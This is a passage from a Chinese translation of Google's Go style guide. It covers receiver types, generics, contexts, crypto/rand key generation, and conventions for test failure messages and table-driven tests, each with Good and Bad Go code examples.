... } ... if Foo(fakeThinger{...}) == \u0026quot;x\u0026quot; { ... } // Bad: package producer type Thinger interface { Thing() bool } type defaultThinger struct{ ... } func (t defaultThinger) Thing() bool { ... } func NewThinger() Thinger { return defaultThinger{ ... } } // Good: package producer type Thinger struct{ ... } func (t Thinger) Thing() bool { ... } func NewThinger() Thinger { return Thinger{ ... } } 泛型 在满足你的业务需求时，泛型（正式名称是“类型参数”是允许被使用的。在许多应用中，使用现有的语言特性（切片、map、接口等）的传统方法也能很好地工作，并且不会增加复杂性，所以要警惕过早地使用泛型。见关于最小机制的讨论。\n当引入一个使用泛型的导出API时，要确保它有适当的文档。强烈建议包括可运行的例子。\n不要因为你正在实现一个不关心其成员元素类型的算法或数据结构，就使用泛型。如果在实践中只有一种类型被实例化，那就从让你的代码从让这种类型可以工作开始，而完全不需要使用泛型。与删除那些被认为是不必要的抽象相比，以后再添加多态性将更为直接。\n不要使用泛型来发明领域特定语言（DSL）。特别是，不要引入可能给读者带来巨大负担的错误处理框架。相反，应该选择既定的错误处理实践。对于测试，要特别警惕引入断言库或框架，因为它们会导致不太有用的测试失败。\n一般来说：\n写代码，不要设计类型。来自Robert Griesemer和Ian Lance Taylor的GopherCon演讲。 如果你有几个类型共享一个有用的统一接口，可以考虑使用该接口对解决方案进行建模。可能不需要泛型。 否则，与其依赖任何类型和过度的类型转换，不如考虑泛型。 也请参见。\n在Go中使用泛型，Ian Lance Taylor 的演讲 Go官方的泛型教程 传值 不要仅仅为了节省几个字节而把指针作为函数参数传递。如果一个函数自始至终只是以*x的形式对它的参数x进行了读操作，那么这个参数就不应该被设计成一个指针。常见的例子包括传递一个字符串的指针（_string）或一个接口值的指针（_io.Reader）。在这两种情况下，值本身是一个固定的大小，可以直接传递。\n译注：string类型是一个二元组，接口类型也是一个二元组，它们都是固定大小的。\n这个建议并不适用于大型结构体，甚至是可能增大的小型结构体。特别是，protocol buffer消息一般应通过指针而不是值来处理。指针类型满足proto.Message接口（由proto.Marshal、protocmp.Transform等接受），而protocol buffer消息可能相当大，并且经常随着时间的推移而变大。\nReceiver类型 一个方法接收器(Receiver)可以作为一个值或者一个指针来传递，就像它是一个普通的函数参数一样。选择哪种方式应该基于该方法应该是哪一个（几个）方法集合的一部分。\n正确性胜过速度或简单性。有些情况下，你必须使用一个指针值。在其他情况下，如果你对代码的发展没有很好的认识，可以为大的类型选择指针，或者作为对未来的保护，而对简单的普通数据使用值类型。\n下面的列表进一步详细说明了每种情况：\n如果接收器是一个切片，并且该方法没有做reslice操作或重新分配切片，则使用一个值而不是一个指针。\n// Good: type Buffer []byte\nfunc (b Buffer) Len() int { return len(b) }\n如果方法需要修改receiver参数，那么receiver必须用指针类型\n// Good: type Counter int\nfunc (c *Counter) Inc() { *c++ }\n// See https://pkg.go.dev/container/heap. type Queue []Item\nfunc (q *Queue) Push(x Item) { *q = append([]Item{x}, *q\u0026hellip;) }\n如果receiver是一个包含不能安全复制的字段的结构体，请使用一个指针类型receiver。常见的例子是sync.Mutex和其他同步类型。\n// Good: type Counter struct { mu sync.Mutex total int }\nfunc (c *Counter) Inc() { c.mu.Lock() defer c.mu.Unlock() c.total++ }\n提示：检查该类型的Godoc，了解它是否可以安全地复制。\n如果receiver是一个”大”结构体或数组，指针类型接收器可能更有效率。传递一个结构体相当于把它的所有字段或元素作为参数传递给方法。如果这看起来太大，无法通过数值传递，那么指针是一个不错的选择。\n对于将调用或与其他修改receiver的函数并发运行的方法，如果这些修改不应该对你的方法可见，则使用一个值；否则使用一个指针。\n如果receiver是一个结构体或数组，其任何元素都是指向可能被修改的东西的指针，那么最好使用指针类型接收器，以使读者清楚地了解可修改的意图。\n// Good: type Counter struct { m *Metric }\nfunc (c *Counter) Inc() { c.m.Add(1) }\n如果接收器是一个Go内置的类型，如整数或字符串，不需要被修改，则使用一个值类型。\n// Good: type User string\nfunc (u User) String() { return string(u) }\n如果接收器是一个map、函数或channel，使用一个值而不是一个指针。\n// Good: // See https://pkg.go.dev/net/http#Header. type Header map[string][]string\nfunc (h Header) Add(key, value string) { /* omitted */ }\n如果接收器是一个”小”数组或结构体，并且元素是没有可变字段和指针的值类型，值类型接收器通常是正确的选择。\n// Good: // See https://pkg.go.dev/time#Time. type Time struct { /* omitted */ }\nfunc (t Time) Add(d Duration) Time { /* omitted */ }\n如果不确定，那就使用指针类型receiver\n作为一般的指导原则，最好使一个类型的方法要么所有都是指针方法，要么所有都是值方法。\n注意：关于向函数传递值或指针是否会影响性能，有很多错误的信息。编译器可以选择向堆栈中的值传递指针以及复制堆栈中的值，但在大多数情况下，这些考虑的优先级不应该超过代码的可读性和正确性。当性能确实重要时，在决定一种方法优于另一种方法之前，用一个实际的基准测试对两种方法进行分析是很重要的。\nswitch和break 不要在switch子句的末尾使用没有目标标签的break语句，它们是多余的。与C和Java不同，Go中的switch子句会自动跳出，我们需要显式使用fallthrough语句来实现C风格的行为。如果你想澄清一个空case子句的目的，请使用注释而不是break。\n// Good: switch x { case \u0026quot;A\u0026quot;, \u0026quot;B\u0026quot;: buf.WriteString(x) case \u0026quot;C\u0026quot;: // handled outside of the switch statement default: return fmt.Errorf(\u0026quot;unknown value: %q\u0026quot;, x) } // Bad: switch x { case \u0026quot;A\u0026quot;, \u0026quot;B\u0026quot;: buf.WriteString(x) break // this break is redundant case \u0026quot;C\u0026quot;: break // this break is redundant default: return fmt.Errorf(\u0026quot;unknown value: %q\u0026quot;, x) } 注意：如果switch子句位于for循环中，在switch中使用break并不能退出外围的for循环。\nfor { switch x { case \u0026quot;A\u0026quot;: break // exits the switch, not the loop } } 为了跳出外围的循环，请在for语句上使用一个标签。\nloop: for { switch x { case \u0026quot;A\u0026quot;: break loop // exits the loop } } 同步函数 同步函数直接返回其结果，并在返回前完成所有回调或channel操作。比起异步函数，我们更喜欢同步函数。\n同步函数在调用中保持goroutines的本地化。这有助于推断它们的生命周期，并避免泄漏和数据竞争。同步函数也更容易测试，因为调用者可以传递一个输入并检查输出，而不需要轮询或使用同步原语。\n如果有必要，调用者可以通过在一个单独的goroutine中调用该函数来增加并发性。然而，在调用者一方删除不必要的并发是相当困难的（有时是不可能的）。\n另见”重新思考经典的并发模式”，Bryan Mills的演讲：幻灯片，视频 类型别名 使用类型定义：type T1 T2 来定义一个新的类型。使用类型别名：type T1 = T2 来引用一个现有的类型，而不用定义一个新的类型。类型别名是罕见的；它们的主要用途是帮助软件包迁移到新的源代码位置。在不需要时不要使用类型别名。\n使用%q Go的格式函数（fmt.Printf等）有一个%q的动词，可以打印双引号内的字符串。\n// Good: fmt.Printf(\u0026quot;value %q looks like English text\u0026quot;, someText) 尽量使用%q，而不是使用%s来手动操作：\n// Bad: fmt.Printf(\u0026quot;value \\\u0026quot;%s\\\u0026quot; looks like English text\u0026quot;, someText) // Avoid manually wrapping strings with single-quotes too: fmt.Printf(\u0026quot;value '%s' looks like English text\u0026quot;, someText) 当输入值可能为空或包含控制字符时，建议在面向人类的输出中使用%q。很难注意到一个空字符串，但%q输出的”\u0026ldquo;会很明显地表现出来。\n使用any Go 1.18引入了一个any类型作为interface{}的别名。因为它是一个别名，所以any在很多情况下等同于interface{}，而在其他情况下，它可以通过显式转换轻松地进行互换。倾向于在新代码中使用any。\n常用库 Flags Google代码库中的Go程序使用标准库flag包的内部变体。它有一个和标准库flag包相似的接口，但与谷歌内部系统有更为良好的互操作性。Go二进制文件中的标志名称应该倾向于使用下划线来分隔单词，不过保存标志值的变量应该遵循标准的Go名称风格（驼峰命名）。具体来说，标志名应该使用蛇形命名，而变量名应该是驼峰命名的对应名称。\n// Good: var ( pollInterval = flag.Duration(\u0026quot;poll_interval\u0026quot;, time.Minute, \u0026quot;Interval to use for polling.\u0026quot;) ) // Bad: var ( poll_interval = flag.Int(\u0026quot;pollIntervalSeconds\u0026quot;, 60, \u0026quot;Interval to use for polling in seconds.\u0026quot;) ) flag必须只在main包或等价包中定义。\n通用包应该使用Go的API来配置，而不是通过命令行接口来配置；不要在导入一个库时附带导出新的标志的副作用。也就是说，最好是使用明确的函数参数或结构体字段赋值，或者在最严格的审查下，不那么频繁地导出全局变量。在极其罕见的情况下，如果有必要打破这一规则，标志的名称必须明确指出它所配置的包。\n如果你的标志是全局变量，请将它们放在自己的var组中，遵循导入部分。\n围绕创建带有子命令的复杂CLI的最佳实践，还有一些讨论。\n也请参见：\n[Tip of the Week #45: Avoid Flags, Especially in Library Code][totw-45] Go Tip #10: Configuration Structs and Flags Go Tip #80: Dependency Injection Principles 日志包 Google代码库中的Go程序使用了标准库日志包的一个变种。它有一个类似的但更强大的接口，并能与谷歌内部系统很好地互操作。这个库的开源版本是作为软件包glog提供的，开源的Google项目可以使用它，但本指南自始至终将其称为log。\n注意：对于异常的程序退出，这个库使用log.Fatal来终止，并有堆栈跟踪，使用log.Exit来停止，没有堆栈跟踪。没有像标准库中的log.Panic函数。\n提示：log.Info(v)等同于log.Infof(“%v”, v)，对于其他日志级别也是如此。当你没有格式化工作时，更倾向于非格式化版本。\n另请参见：\n关于记录错误和自定义verbosily级别的最佳实践 何时以及如何使用日志包来停止程序 Contexts context.Context类型的值携带安全凭证、跟踪信息、截止日期和取消信号，跨越API和进程边界。与C++和Java在Google代码库中使用线程本地存储不同，Go程序在整个函数调用链中明确地传递上下文，从传入的RPC和HTTP请求到传出的请求。\n当被传递到一个函数或方法时，context.Context总是作为第一个参数。\nfunc F(ctx context.Context /* other arguments */) {} 例外情况是：\n在HTTP处理程序中，其上下文来自req.Context()。 在流式RPC方法中，上下文来自于流。 使用gRPC流的代码从生成的服务器类型中的Context()方法访问上下文，该类型实现了grpc.ServerStream。参见gRPC生成的代码文档。\n在入口函数中（此类函数的例子见下文），使用context.background()。\n在二进制目标中：main 在通用代码和库中：init 在测试中：TestXXX, BenchmarkXXX, FuzzXXX 注意：在调用链中间的代码需要使用context.background()来创建自己的基础上下文，这非常罕见。总是优先从你的调用者那里获取一个上下文，除非它是错误的上下文。\n你可能会遇到一些服务器库（Stubby、gRPC或Google的Go服务器框架中的HTTP的实现），它们为每个请求构建一个新的上下文对象。这些上下文被立即填充了来自传入请求的信息，因此当传递给请求处理程序时，上下文的附加值已经从客户端调用者那里通过网络边界传播给了它。此外，这些上下文的生命期与请求的生命期是一致的：当请求完成时，上下文就被取消了。\n除非你正在实现一个服务器框架，否则你不应该在库代码中用context.Background()创建上下文。相反，如果有一个现有的上下文可用的话，最好使用下面提到的context detachment。如果你认为你确实需要入口函数之外的context.Background()，请在承诺实现之前使用Google Go风格邮件列表讨论。\n在函数中context.Context优先的惯例也适用于测试helper。\n// Good: func readTestFile(ctx context.Context, t *testing.T, path string) string {} 不要给结构体类型添加上下文成员。相反，在需要传递上下文的类型上的每个方法中添加一个上下文参数。唯一的例外是那些签名必须与标准库或谷歌控制之外的第三方库中的接口匹配的方法。这种情况非常罕见，应该在实施和可读性审查之前使用Google Go风格邮件列表讨论。\n谷歌代码库中必须催生后台操作的代码，这些后台操作可以在父级上下文被取消后运行，可以使用内部包进行分离。请关注问题#40221，了解关于开源替代方案的讨论。\n由于上下文是不可改变的，因此可以将同一个上下文传递给共享相同的deadline、取消信号、凭证、父级跟踪等的多个调用。\n也请参见：\nContext和structs 自定义上下文 不要创建自定义的上下文类型，也不要在函数签名中使用上下文以外的接口。这条规则没有例外。\n想象一下，如果每个团队都有一个自定义的上下文。每个从包P到包Q的函数调用都必须确定如何将PContext转换为QContext，对于所有的包P和Q对来说都是不切实际的，而且容易出错，这使得增加上下文参数的自动化重构几乎不可能。\n如果你有应用数据需要传递，请把它放在一个参数中，放在接收器中，放在globals中，或者放在Context值中，如果它真的属于那里。创建自己的Context类型是不可接受的，因为它破坏了Go团队使Go程序在生产中正常工作的能力。\ncrypto/rand 不要使用软件包math/rand来生成key，即使是丢弃的key。如果不加种子，生成器是完全可预测的。用time.Nanoseconds()做种子，就只有几个比特的熵了。相反，如果你需要文本，打印成十六进制或base64，请使用crypto/rand的Reader。\n// Good: import ( \u0026quot;crypto/rand\u0026quot; // \u0026quot;encoding/base64\u0026quot; // \u0026quot;encoding/hex\u0026quot; \u0026quot;fmt\u0026quot; // ... ) func Key() string { buf := make([]byte, 16) if _, err := rand.Read(buf); err != nil { log.Fatalf(\u0026quot;Out of randomness, should never happen: %v\u0026quot;, err) } return fmt.Sprintf(\u0026quot;%x\u0026quot;, buf) // or hex.EncodeToString(buf) // or base64.StdEncoding.EncodeToString(buf) } 注意：log.Fatalf不是标准库中的日志。参见[#logging]。\n有用的测试失败 不需要阅读测试的源代码就可以诊断出测试的失败。测试失败时应该有有用的信息详细说明。\n是什么导致了失败 哪些输入导致了错误 实际结果 预期结果是什么 以下是实现这一目标的具体约定。\n断言库 不要创建 “断言库 “作为测试的辅助工具。\n断言库是试图在测试中结合验证和生产失败信息的库（尽管同样的陷阱也可以适用于其他测试助手）。关于测试助手和断言库之间的区别的更多信息，请参见最佳实践。\n// Bad: var obj BlogPost assert.IsNotNil(t, \u0026quot;obj\u0026quot;, obj) assert.StringEq(t, \u0026quot;obj.Type\u0026quot;, obj.Type, \u0026quot;blogPost\u0026quot;) assert.IntEq(t, \u0026quot;obj.Comments\u0026quot;, obj.Comments, 2) assert.StringNotEq(t, \u0026quot;obj.Body\u0026quot;, obj.Body, \u0026quot;\u0026quot;) 断言库往往要么提前停止测试（如果断言调用t.Fatalf或panic），要么省略关于测试正确的相关信息。\n// Bad: package assert func IsNotNil(t *testing.T, name string, val interface{}) { if val == nil { t.Fatalf(\u0026quot;data %s = nil, want not nil\u0026quot;, name) } } func StringEq(t *testing.T, name, got, want string) { if got != want { t.Fatalf(\u0026quot;data %s = %q, want %q\u0026quot;, name, got, want) } } 复杂的断言函数通常不提供有用的失败信息和存在于测试函数中的上下文。太多的断言函数和库会导致开发人员的经验碎片化：我应该使用哪个断言库，它应该发出什么风格的输出格式，等等。碎片化产生了不必要的混乱，特别是对于库的维护者和大规模修改的作者，他们负责修复潜在的下游故障。与其创建一个特定领域的测试语言，不如使用Go本身。\n断言库通常会把比较和相等性检查的因素排除在外。尽量使用标准库，如cmp和fmt来代替。\n// Good: var got BlogPost want := BlogPost{ Comments: 2, Body: \u0026quot;Hello, world!\u0026quot;, } if !cmp.Equal(got, want) { t.Errorf(\u0026quot;blog post = %v, want = %v\u0026quot;, got, want) } 对于更多特定领域的比较帮助器，倾向于返回一个值或一个可以在测试的失败消息中使用的错误，而不是传递*testing.T并调用其错误报告方法。\n// Good: func postLength(p BlogPost) int { return len(p.Body) } func TestBlogPost_VeritableRant(t *testing.T) { post := BlogPost{Body: \u0026quot;I am Gunnery Sergeant Hartman, your senior drill instructor.\u0026quot;} if got, want := postLength(post), 60; got != want { t.Errorf(\u0026quot;length of post = %v, want %v\u0026quot;, got, want) } } 最佳实践：如果postLength是非琐碎的，那么直接测试它是有意义的，独立于任何使用它的测试。\n另见：\n相等性比较和差异 打印差异 更多关于测试助手和断言助手的区别，请参见最佳实践 识别函数 在大多数测试中，失败信息应该包括失败的函数名称，即使它从测试函数的名称中看起来很明显。具体来说，你的失败信息应该是“YourFunc(%v) = %v, want %v”，而不是仅仅“got %v, want %v”。\n识别输入 在大多数测试中，如果函数输入很短，失败信息应该包括函数输入。如果输入的相关属性不明显（例如，因为输入很大或不透明），你应该在测试用例的名称中加入被测试内容的描述，并将该描述作为错误信息的一部分打印出来。\ngot在want之前 测试输出应该包括函数返回的实际值，然后再打印预期的值。打印测试输出的标准格式是“YourFunc(%v) = %v, want %v”。在你写”actual”和”expected”的地方，最好分别使用”got “和”want”。\n对于差异来说，方向性不那么明显，因此，重要的是包括一个键来帮助解释失败。参见打印差异的章节。无论你在故障信息中使用哪种差异顺序，你都应该明确指出它是故障信息的一部分，因为现有的代码在顺序上是不一致的。\n结构体整体比较 如果你的函数返回一个结构体（或任何有多个字段的数据类型，如切片、数组和map），避免编写测试代码，对结构体进行手工编码的逐字段比较。相反，构建你期望你的函数返回的数据，并直接使用深度比较法进行比较。\n注意：如果您的数据包含不相关的字段，从而掩盖了测试的意图，那么这一点就不适用了。\n如果你的结构体需要进行近似（或同等种类的语义）的相等性比较，或者它包含不能进行相等性比较的字段（例如，如果其中一个字段是io.Reader），用cmpopts选项（如cmpopts.IgnoreInterfaces）调整cmp.Diff或cmp.Equal比较可能满足你的需要（示例）。\n如果你的函数返回多个返回值，你不需要在比较之前将这些返回值包裹在一个结构中。只需单独比较返回值并打印它们：\n// Good: val, multi, tail, err := strconv.UnquoteChar(`\\\u0026quot;Fran \u0026amp; Freddie's Diner\\\u0026quot;`, '\u0026quot;') if err != nil { t.Fatalf(...) } if val != `\u0026quot;` { t.Errorf(...) } if multi { t.Errorf(...) } if tail != `Fran \u0026amp; Freddie's Diner\u0026quot;` { t.Errorf(...) } 比较稳定的结果 避免比较可能依赖于你不拥有的包的输出稳定性的结果。相反，测试应该在语义相关的信息上进行比较，这些信息是稳定的，可以抵抗依赖关系的变化。对于返回格式化字符串或序列化字节的功能，一般来说，假设输出是稳定的并不安全。\n例如，json.Marshal可以改变（而且在过去已经改变过）它所产生的特定字节。如果json包改变了它序列化字节的方式，在JSON字符串上执行字符串相等的测试可能会失败。相反，一个更健壮的测试将解析JSON字符串的内容，并确保它在语义上等同于一些预期的数据结构。\n持续进行 测试应该尽可能地持续下去，即使在失败之后，以便在一次测试运行中打印出所有失败的检查。这样一来，正在修复失败测试的开发者就不必在修复每个错误后重新运行测试来发现下一个错误。\n更倾向于调用t.Error而不是t.Fatal来报告一个不匹配。当比较一个函数输出的几个不同属性时，对每一个比较都使用t.Error。\n调用t.Fatal主要用于报告一个意外的错误情况，当后续的比较失败不会有什么意义时。\n对于表驱动的测试，考虑使用子测试(subtests)，使用t.Fatal而不是t.Error和continue。参见GoTip #25: Subtests: 让你的测试更精简。\n最佳实践：关于什么时候应该使用t.Fatal的更多讨论，见最佳实践。\n相等性比较和差异 “==”操作符使用语言定义的比较法来评估相等性。标量值（数字、布尔运算等）根据其值进行比较，但只有一些结构和接口可以用这种方式进行比较。指针的比较是基于它们是否指向同一个变量，而不是基于它们所指向的值是否相等。\ncmp包可以比较不适合由==处理的更复杂的数据结构，例如切片。使用cmp.Equal来进行相等性比较，使用cmp.Diff来获得对象之间可供人类阅读的差异。\n// Good: want := \u0026amp;Doc{ Type: \u0026quot;blogPost\u0026quot;, Comments: 2, Body: \u0026quot;This is the post body.\u0026quot;, Authors: []string{\u0026quot;isaac\u0026quot;, \u0026quot;albert\u0026quot;, \u0026quot;emmy\u0026quot;}, } if !cmp.Equal(got, want) { t.Errorf(\u0026quot;AddPost() = %+v, want %+v\u0026quot;, got, want) } 虽然cmp包不是Go标准库的一部分，但它是由Go团队维护的，随着时间的推移应该会产生稳定的相等性结果。它是用户可配置的，应该可以满足大多数的比较需求。\n现有的代码可能会使用以下较早的库，并且可以继续使用它们以保持一致性。\npretty产生美观的差异报告。然而，它非常谨慎地认为具有相同视觉表现的值是相等的。特别是，pretty不捕捉nil切片和空切片之间的差异，对具有相同字段的不同接口实现不敏感，并且可以使用嵌套map作为与结构值比较的基础。在产生差异之前，它还会将整个值序列化为一个字符串，因此对于比较大的值来说不是一个好的选择。默认情况下，它比较的是未导出的字段，这使得它对你的依赖关系中实现细节的变化很敏感。出于这个原因，在protobuf信息上使用pretty是不合适的。 在新的代码中更倾向于使用cmp，值得考虑更新旧的代码，以便在实际情况下使用cmp。\n旧的代码可能使用标准库reflect.DeepEqual函数来比较复杂的结构。reflect.DeepEqual不应该被用来检查相等性，因为它对未导出的字段和其他实现细节的变化很敏感。使用reflect.DeepEqual的代码应该更新为上述库中的一个。\n注意：cmp包是为测试而设计的，而不是为生产使用。因此，当它怀疑一个比较被错误地执行时，它可能会panic，以向用户提供关于如何改进测试以减少脆性的指导。鉴于cmp具有报panic的倾向，它不适合在生产中使用的代码，因为虚假的panic可能是致命的。\n详细程度 传统的失败信息是“YourFunc(%v) = %v, want %v”，适用于大多数Go测试。然而，有些情况下可能需要更多或更少的细节：\n进行复杂交互的测试也应该描述交互。例如，如果同一个YourFunc被调用了好几次，要确定哪个调用没有通过测试。如果知道系统的任何额外状态是很重要的，那么在失败输出中包括这些（或者至少在日志中）。 如果数据是一个复杂的结构，有大量的模板，在消息中只描述重要的部分是可以接受的，但不要过分地掩盖数据。 设置失败不需要同样水平的细节。如果一个测试助手填充了一个Spanner表，但Spanner是关闭的，你可能不需要包括你要存储在数据库中的测试输入。t.Fatalf(“Setup: Failed to set up test database: %s”, err)通常足以帮助解决这个问题。 提示：在开发过程中触发你的失败模式。审查失败信息是什么样子的，维护者是否能有效地处理失败。\n有一些技术可以清晰地再现测试输入和输出。\n当打印字符串数据时，%q通常是有用的，可以强调该值的重要性，并更容易发现坏值。 当打印（小）结构时，%+v可能比%v更有用。 当验证较大的数值失败时，打印一个差异可以使人们更容易理解失败的原因。 打印差异 如果你的函数返回大量的输出，那么当你的测试失败时，阅读失败信息的人很难发现其中的差异。与其同时打印返回值和想要的值，不如做一个差异。\n要计算这些值的差异，首选cmp.Diff，特别是对于新的测试和新的代码，但也可以使用其他工具。关于每个函数的优势和劣势的指导，请看类型的相等性。\ncmp.Diff pretty.Compare 你可以使用diff包来比较多行字符串或字符串的列表。你可以把它作为其他类型的差异的构建模块。\n在你的失败信息中添加一些文字，解释差异的方向。\n当你使用cmp、pretty和diff包时，类似diff(-want +got)的东西很好（如果你向函数传递(want, got)），因为你添加到格式字符串中的-和+将与实际出现在diff行开头的-和+相匹配。如果你把(got, want)传给你的函数，正确的键将是(-got +want)。 messagediff包使用不同的输出格式，所以当你使用它时，消息diff（want -\u0026gt; got）是合适的（如果你向函数传递（want，got）），因为箭头的方向将与”修改”行中的箭头方向一致。 diff将跨越多行，所以你应该在打印diff之前打印一个新行。\n测试错误语义 当一个单元测试执行字符串比较或使用cmp包来检查针对特定输入返回的特定类型的错误时，你可能会发现，如果这些错误信息中的任何一个在未来被重新措辞，你的测试将是脆弱的。因为这有可能把你的单元测试变成一个变化检测器（见TotT: Change-Detector Tests Considered Harmful ），所以不要使用字符串比较来检查你的函数返回什么类型的错误。然而，允许使用字符串比较来检查来自被测包的错误信息是否满足某些属性，例如，它是否包括参数名称。\nGo中的错误值通常有一个用于人眼的部分和一个用于语义控制流的部分。测试应该设法只测试可以可靠地观察到的语义信息，而不是显示用于人类调试的信息，因为这通常会在未来发生变化。关于构建具有语义的错误的指导，请参见有关错误的最佳实践。如果来自于你控制之外的依赖关系的错误的语义信息不充分，请考虑向所有者提交一个错误，以帮助改进API，而不是依靠解析错误信息。\n在单元测试中，通常只关心一个错误是否发生。如果是这样，那么在你预期发生错误时，只测试错误是否为非零就足够了。如果你想测试错误在语义上是否与其他错误匹配，那么可以考虑使用cmp与cmpopts.EquateErrors。\n注意：如果一个测试使用了cmpopts.EquateErrors，但是它所有的wantErr值都是nil或者cmpopts.AnyError，那么使用cmp是不必要的机制。简化代码，使want字段成为一个bool。然后，你可以使用一个简单的比较法，即!=。\n// Good: gotErr := f(test.input) != nil if gotErr != test.wantErr { t.Errorf(\u0026quot;f(%q) returned err = %v, want error presence = %v\u0026quot;, test.input, gotErr, test.wantErr) } 另见GoTip #13。设计用于检查的错误。\n测试的结构组织 子测试(subtests) 标准Go测试库提供了定义子测试的功能。这使得设置和清理、控制并行性和测试过滤变得灵活。子测试可能很有用（特别是对于表驱动的测试），但不是必须使用它们。请参阅Go博客中关于子测试的文章。\n子测试不应该依赖其他case的执行来获得成功或初始状态，因为子测试应该能够通过使用go test -run标志或使用Bazel测试过滤表达式来单独运行。\n子测试命名 命名你的子测试，使其在测试输出中可读，并在命令行中对测试过滤的用户有用。当你使用t.Run来创建一个子测试时，第一个参数被用作测试的描述性名称。为了确保测试结果对阅读日志的人来说是可读的，选择在转义后仍然有用和可读的子测试名称。把子测试名称想得更像一个函数标识符，而不是一个散文描述。test runner用下划线代替空格，并转义非打印字符。如果你的测试数据受益于较长的描述，可以考虑将描述放在一个单独的字段中（也许可以用t.Log打印，或者与失败信息一起打印）。\n子测试可以使用Go test runner或Bazel测试过滤器的标志单独运行，所以选择描述性的名字，同时也要容易输入。\n警告：斜杠”/”在子测试名称中是特别不友好的，因为它们对测试过滤器有特殊意义。\n# Bad: # Assuming TestTime and t.Run(\u0026quot;America/New_York\u0026quot;, ...) bazel test :mytest --test_filter=\u0026quot;Time/New_York\u0026quot; # Runs nothing! bazel test :mytest --test_filter=\u0026quot;Time//New_York\u0026quot; # Correct, but awkward. 为了识别函数的输入，把函数名包括在测试的失败信息中，在那里它们不会被test runner转义。\n// Good: func TestTranslate(t *testing.T) { data := []struct { name, desc, srcLang, dstLang, srcText, wantDstText string }{ { name: \u0026quot;hu=en_bug-1234\u0026quot;, desc: \u0026quot;regression test following bug 1234. contact: cleese\u0026quot;, srcLang: \u0026quot;hu\u0026quot;, srcText: \u0026quot;cigarettát és egy öngyújtót kérek\u0026quot;, dstLang: \u0026quot;en\u0026quot;, wantDstText: \u0026quot;cigarettes and a lighter please\u0026quot;, }, // ... } for _, d := range data { t.Run(d.name, func(t *testing.T) { got := Translate(d.srcLang, d.dstLang, d.srcText) if got != d.wantDstText { t.Errorf(\u0026quot;%s\\nTranslate(%q, %q, %q) = %q, want %q\u0026quot;, d.desc, d.srcLang, d.dstLang, d.srcText, got, d.wantDstText) } }) } } 下面是一些要避免的例子：\n// Bad: // Too wordy. t.Run(\u0026quot;check that there is no mention of scratched records or hovercrafts\u0026quot;, ...) // Slashes cause problems on the command line. t.Run(\u0026quot;AM/PM confusion\u0026quot;, ...) 表驱动的测试 当许多不同的测试用例可以使用类似的测试逻辑进行测试时，使用表驱动的测试。\n当测试一个函数的实际输出是否等于预期输出。例如，fmt.Sprintf的许多测试或下面的最小片段。 当测试一个函数的输出是否总是符合同一组不变量时。例如，net.Dial的测试。 下面是一个表格驱动的测试的最小结构，从标准库strings包中复制出来的。如果需要，你可以使用不同的名字，把测试切片移到测试函数中，或者添加额外的设施，如子测试或设置和清理函数。始终牢记有用的测试失败：\n// Good: var compareTests = []struct { a, b string i int }{ {\u0026quot;\u0026quot;, \u0026quot;\u0026quot;, 0}, {\u0026quot;a\u0026quot;, \u0026quot;\u0026quot;, 1}, {\u0026quot;\u0026quot;, \u0026quot;a\u0026quot;, -1}, {\u0026quot;abc\u0026quot;, \u0026quot;abc\u0026quot;, 0}, {\u0026quot;ab\u0026quot;, \u0026quot;abc\u0026quot;, -1}, {\u0026quot;abc\u0026quot;, \u0026quot;ab\u0026quot;, 1}, {\u0026quot;x\u0026quot;, \u0026quot;ab\u0026quot;, 1}, {\u0026quot;ab\u0026quot;, \u0026quot;x\u0026quot;, -1}, {\u0026quot;x\u0026quot;, \u0026quot;a\u0026quot;, 1}, {\u0026quot;b\u0026quot;, \u0026quot;x\u0026quot;, -1}, // test runtime·memeq's chunked implementation {\u0026quot;abcdefgh\u0026quot;, \u0026quot;abcdefgh\u0026quot;, 0}, {\u0026quot;abcdefghi\u0026quot;, \u0026quot;abcdefghi\u0026quot;, 0}, {\u0026quot;abcdefghi\u0026quot;, \u0026quot;abcdefghj\u0026quot;, -1}, } func TestCompare(t *testing.T) { for _, tt := range compareTests { cmp := Compare(tt.a, tt.b) if cmp != tt.i { t.Errorf(`Compare(%q, %q) = %v`, tt.a, tt.b, cmp) } } } 注意：上面这个例子中的失败信息满足了识别函数和识别输入的要求。没有必要再用数字来识别行。\n当一些测试用例需要使用与其他测试用例不同的逻辑进行检查时，编写多个测试函数是比较合适的，正如GoTip #50: Disjoint Table Tests中解释的那样。当一个表中的每个条目都有自己不同的条件逻辑来检查其输入的每个输出时，你的测试代码的逻辑会变得难以理解。如果测试用例有不同的逻辑，但有相同的设置，在一个单一的测试函数中使用子测试序列可能是更有意义的。\n你可以将表驱动的测试与多个测试函数结合起来。例如，当测试一个函数的输出与预期的输出完全一致，并且函数对无效的输入返回一个非nil的错误时，那么编写两个单独的表驱动的测试函数是最好的方法：一个用于正常的非错误输出，一个用于错误输出。\n数据驱动的测试用例 表测试行有时会变得很复杂，行的值决定了测试用例内的条件行为。测试用例之间的重复所带来的额外清晰度对可读性是必要的。\n// Good: type decodeCase struct { name string input string output string err error } func TestDecode(t *testing.T) { // setupCodex is slow as it creates a real Codex for the test. codex := setupCodex(t) var tests []decodeCase // rows omitted for brevity for _, test := range tests { t.Run(test.name, func(t *testing.T) { output, err := Decode(test.input, codex) if got, want := output, test.output; got != want { t.Errorf(\u0026quot;Decode(%q) = %v, want %v\u0026quot;, test.input, got, want) } if got, want := err, test.err; !cmp.Equal(got, want) { t.Errorf(\u0026quot;Decode(%q) err %q, want %q\u0026quot;, test.input, got, want) } }) } } func TestDecodeWithFake(t *testing.T) { // A fakeCodex is a fast approximation of a real Codex. codex := newFakeCodex() var tests []decodeCase // rows omitted for brevity for _, test := range tests { t.Run(test.name, func(t *testing.T) { output, err := Decode(test.input, codex) if got, want := output, test.output; got != want { t.Errorf(\u0026quot;Decode(%q) = %v, want %v\u0026quot;, test.input, got, want) } if got, want := err, test.err; !cmp.Equal(got, want) { t.Errorf(\u0026quot;Decode(%q) err %q, want %q\u0026quot;, test.input, got, want) } }) } } 在下面的反例中，注意在case设置中很难区分每个测试case使用哪种类型的Codex。(突出显示的部分违反了TotT的建议：数据驱动的陷阱！) .)\n// Bad: type decodeCase struct { name string input string codex testCodex output string err error } type testCodex int const ( fake testCodex = iota prod ) func TestDecode(t *testing.T) { var tests []decodeCase // rows omitted for brevity for _, test := tests { t.Run(test.name, func(t *testing.T) { var codex Codex switch test.codex { case fake: codex = newFakeCodex() case prod: codex = setupCodex(t) default: t.Fatalf(\u0026quot;unknown codex type: %v\u0026quot;, codex) } output, err := Decode(test.input, codex) if got, want := output, test.output; got != want { 